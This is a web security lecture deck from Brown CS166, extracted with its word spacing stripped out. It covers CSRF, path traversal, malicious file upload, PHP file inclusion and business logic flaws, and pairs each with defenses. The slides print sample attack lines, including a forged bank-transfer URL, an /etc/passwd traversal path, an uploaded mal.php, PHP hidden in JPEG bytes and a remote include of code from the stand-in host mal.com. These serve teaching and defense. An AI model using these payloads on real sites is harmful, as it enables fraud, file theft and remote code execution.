44
Web Security Cross-Site Request Forgery Attacks on Servers 28/02/17 Web Security 1

Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

  • Upload
    others

  • View
    21

  • Download
    0

Embed Size (px)

Citation preview

Page 1: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

WebSecurityCross-SiteRequestForgery

AttacksonServers

28/02/17 Web Security 1

Page 2: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

Cross-SiteRequestForgery

Page 3: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

Cross-SiteRequestForgery(CSRF)• Maliciouswebsitehasscriptthatredirectsandissuesarequestontargetwebsite– E.g.,document.location =“https://bank.com/wiretransfer.php?amount=10000&recipient=Attacker&account=2567”

• Ifuserisalreadyloggedinontargetwebsite…• Requestisexecutedbytargetwebsiteonbehalfofuser

– E.g.,fundsaretransferredfromtheusertotheattacker

28/02/17 Web Security 3

Page 4: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

LoginCSRF• Malicioussiteincludeslinkorformthatlogsinvictimwithattacker’saccountonCSRFvulnerablesite

• Subsequentvictim’sinteractionwithCSRFvulnerablesiteissharedwithattacker– Navigationinvulnerablesite– Datasuppliedtovulnerablesite– …

28/02/17 Web Security 4

Page 5: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

CSRFTrustRelationship

• Vulnerablesitetrustsuser(login)

• Usertrustsevilsite

• Evilsitecouldbehackedlegitimatesite

28/02/17 Web Security 5

Victim’sBrowser

CSRFVulnerableWebsite

EvilWebsite

MaliciousRequest

LegitimateRequest

Login

Page 6: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

CSRFServer-SideDefenses• Synchronizertoken

– RandomtokenembeddedbyserverinallHTMLformsandverifiedbyserver

– CSRFrequestrejectedbecauseattackercannotguesstoken

• CustomHTTPheader– Onlogin,websitesetsacookiecontainingrandomvalue– ClientsidescriptreadscookieandcopiesitintocustomHTTPheadersentwitheachtransactionalrequest

– SecuritybasedonbrowsernottransmittingcustomHTTPheadersacrossdifferentservers

28/02/17 Web Security 6

Page 7: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

FirefoxAdd-onRequestPolicy(RP)

• RPsetsdefaultdenypolicyforcross-siterequests

• Cross-siterequestsarethosemadetoasitedifferentfromcurrentone

• RPallowstowhitelistcross-siterequestsbyoriginand/ordestinationsite

28/02/17 Web Security 7

Page 8: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

ImproperPathSanitization

Page 9: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

ImproperPathSanitization

• Problem:onlysomepathsarevalid;whichones?

• Improperpathsanitizationcanleadtodisallowedresourcesbeingaccessed

• Whatsortsofresources/pathsmightwewanttomakeoff-limits?

Page 10: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

ImproperPathSanitization

• Whatsortsofresources/pathsmightwewanttomakeoff-limits?

–Configurationfiles(e.g.,Apache’s.htaccess)–Filesoutsidethewebroot–Filesoutsidetheuploaddirectory–etc

Page 11: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

ImproperPathSanitization

• Attempt#1:Blacklists–e.g.,“/foo/bar isofflimits”

• What’swrongwiththis?

Page 12: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

ImproperPathSanitization

• Attempt#1:Blacklists–e.g.,“/foo/bar isofflimits”

• What’swrongwiththis?–Multiplepathscanrefertothesameresource– /foo/bar– /foo//bar– /foo/../foo/bar– /foo/bar/baz/..

Page 13: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

ImproperPathSanitization

• Attempt#1:Blacklists–e.g.,“/foo/bar isofflimits”

• What’swrongwiththis?–Whataboutpathsoutsidethewebroot?– /../../etc/passwd– Becomes/var/www/../../etc/passwd– (e.g.,/etc/passwd)

Page 14: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

ImproperPathSanitization

• Attempt#2:Whitelists–e.g.,“only/foo/bar or/baz/blah areallowed”

• What’swrongwiththis?

Page 15: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

ImproperPathSanitization

• Attempt#2:Whitelists–e.g.,“only/foo/bar or/baz/blah areallowed”

• What’swrongwiththis?–Howtokeepthewhitelistuptodate?–Howtobenicetousers

• e.g.,/foo//bar isreally/foo/bar

Page 16: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

ImproperPathSanitization

• Attempt#3:ParsePaths–e.g.,determinethatfoo.com/bar doesn’tescapewebroot

• What’swrongwiththis?

Page 17: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

ImproperPathSanitization

• Attempt#3:ParsePaths–e.g.,determinethatfoo.com/bar doesn’tescapewebroot

• What’swrongwiththis?–Correctparsingishard

Page 18: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

ImproperPathSanitization

• Solution–Whenpossible,useexistingimplementations

• Apachedoesthiscorrectly- useit

–Forcustomlogic,don’tusepaths• Storedataindatabases• Don’tusesubfolders

– e.g.,/var/uploads,my-upload.pdf– filterbadcharacters(/, \0)orbadnames(.., .)

Page 19: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

FileUpload

Page 20: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

FileUpload

• Apache’sPHPpluginwillexecute*.php• Whathappensifthere’sanuploaddirectoryinsidethewebroot?

–e.g.,/var/www/upload

Page 21: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

FileUpload

• Apache’sPHPpluginwillexecute*.php• Whathappensifthere’sanuploaddirectoryinsidethewebroot?

–e.g.,/var/www/upload• Uploadmal.php• Visitfoo.com/upload/mal.php• Profit!

Page 22: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

FileUpload

• Howtofix?

Page 23: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

FileUpload

• Attempt#1:Disallow.php extension• Whatcouldgowrong?

Page 24: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

FileUpload

• Attempt#1:Disallow.php extension• Whatcouldgowrong?

–WhatifIwanttouploadaPHPfile?–Notsufficientforsomeconfigurations...

Page 25: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

FileUpload

<!-- date.html --><html><head><title>My Page</title></head><body>

<p>Date: <?php echo date(); ?></p></body></html>

Page 26: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

FileUpload

• Uploadfoo.html:<html>

<?php do_bad_thing(); ?></html>

Page 27: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

FileUpload

• Uploadfoo.html:<html>

<?php do_bad_thing(); ?></html>

• Howtofix?

Page 28: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

FileUpload

• Attempt#2:Disallow*.php,*.html• And verifythatit’saproperlyformattedfile• Forexample,limittothesefiletypes:

–JPEG–PDF

• Whatcouldgowrong?

Page 29: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

FileUpload

• Whatcouldgowrong?–JPEGsupportscomments,soembedPHPinJPEGcommentfield

–Evenifitdidn’t,wecouldstillcrafttherightpixelsequences:\x3C\x3F\x70\x68\x70 - <?php \x3F\x3E - ?>

• Howtofix?

Page 30: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

FileUpload• Solution:don’tservefilesdirectly• Bad:foo.com/upload/foo.pdf• Good:foo.com/get.php?file=foo.pdf• Implementcustomlogicinget.php• Don’tallowaccesstouploaddirectory

– Storeoutsideofwebroot– Ifthat’snotpossible,use.htaccess orsimilar

• Watchoutforpathvulnerabilities,though!

Page 31: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

FileInclusion

Page 32: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

FileInclusion• PHP(andotherlanguages)allowdynamicincludes

include(‘lib.php’); • Imagineasitewithdynamically-generatedinclude:

lang = $_GET[‘lang’];include($lang . ‘.php’);

• Whatcouldgowrong?

Page 33: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

FileInclusion• Let’ssaythere’sanadd-user.php

– Onlyincludedafterauthenticationasadmin– Can’tloaddirectly- foo.com/add-user.php

• Visitfoo.com/blah.php?lang=add-user&user=mallory&pass=l337hax0r

• Makestheinclude:include(‘add-user.php’);

Page 34: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

FileInclusion• Canwedobetter?• ManyPHPfunctionstreatpathsasbeingfilepathsor

URLs…• Whatcouldgowrong?

Page 35: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

FileInclusion• Canwedobetter?• ManyPHPfunctionstreatpathsasbeingfilepathsor

URLs…• Whatcouldgowrong?

– foo.com/blah.php?lang=http://mal.com/mal• Makestheinclude:

include(‘http://mal.com/mal.php’);

Page 36: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

FileInclusion

• Solution?

Page 37: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

FileInclusion

• Solution– Ifyouneedtodynamicallyincludefiles,keepapre-setlist:lang_files = array(‘en-US’ => ‘en-us.php’,‘en-GB’ => ‘en-GB.php’,‘en-l337’ => ‘en-l337.php’);

Page 38: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

BusinessLogicFlaws

Page 39: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

BusinessLogicFlaws

• “Businesslogic”isthehigh-levellogicbehindawebapplication’sfunctionality–E.g.,“Ausermustpaybeforehavinganitemshippedtothem”

• Flawsintheimplementationofthislogic(orflawsinthelogicitself)canbeserious

• Chapter11ofWAHH

Page 40: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

BusinessLogicFlaws

• Oftencomefromamismatchbetweendeveloperassumptionsandreality

• Sincetheydifferwidely,besttogiveexamples• Thesearerealexamplesfromrealapplications

Page 41: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

BusinessLogicFlaws

• Example1:CheatingonBulkDiscounts–Siteoffersbulkdiscountsongroupofitems–Whenanewitemisaddedtothecart,ifabulkdiscountapplies,thepricesofallitemsareloweredappropriately

–Whatcouldgowrong?

Page 42: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

BusinessLogicFlaws

• Example1:CheatingonBulkDiscounts–Siteoffersbulkdiscountsongroupofitems–Whenanewitemisaddedtothecart,ifabulkdiscountapplies,thepricesofallitemsareloweredappropriately

–Whatcouldgowrong?– Addmanyitemstothecart,loweringprices– Deletemostofthem,checkoutwithacheapitem

Page 43: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

BusinessLogicFlaws

• Example2:ProceedingtoCheckout– Inashoppingcartapplication,whencheckingout,userisdirectedthroughaseriesofpages:

• Fromcart,click“checkout”button• Redirectedtopagetoenterpaymentdetails• Ifpaymentverifies,redirectedtoshippingdetails• Aftershippingdetailsverified,orderiscomplete• Whatcouldgowrong?

Page 44: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

BusinessLogicFlaws

• Example2:ProceedingtoCheckout– Inashoppingcartapplication,whencheckingout,userisdirectedthroughaseriesofpages:

• Fromcart,click“checkout”button• Redirectedtopagetoenterpaymentdetails• Ifpaymentverifies,redirectedtoshippingdetails• Aftershippingdetailsverified,orderiscomplete• Whatcouldgowrong?• Godirectlytoenteringshippingdetails,skippayment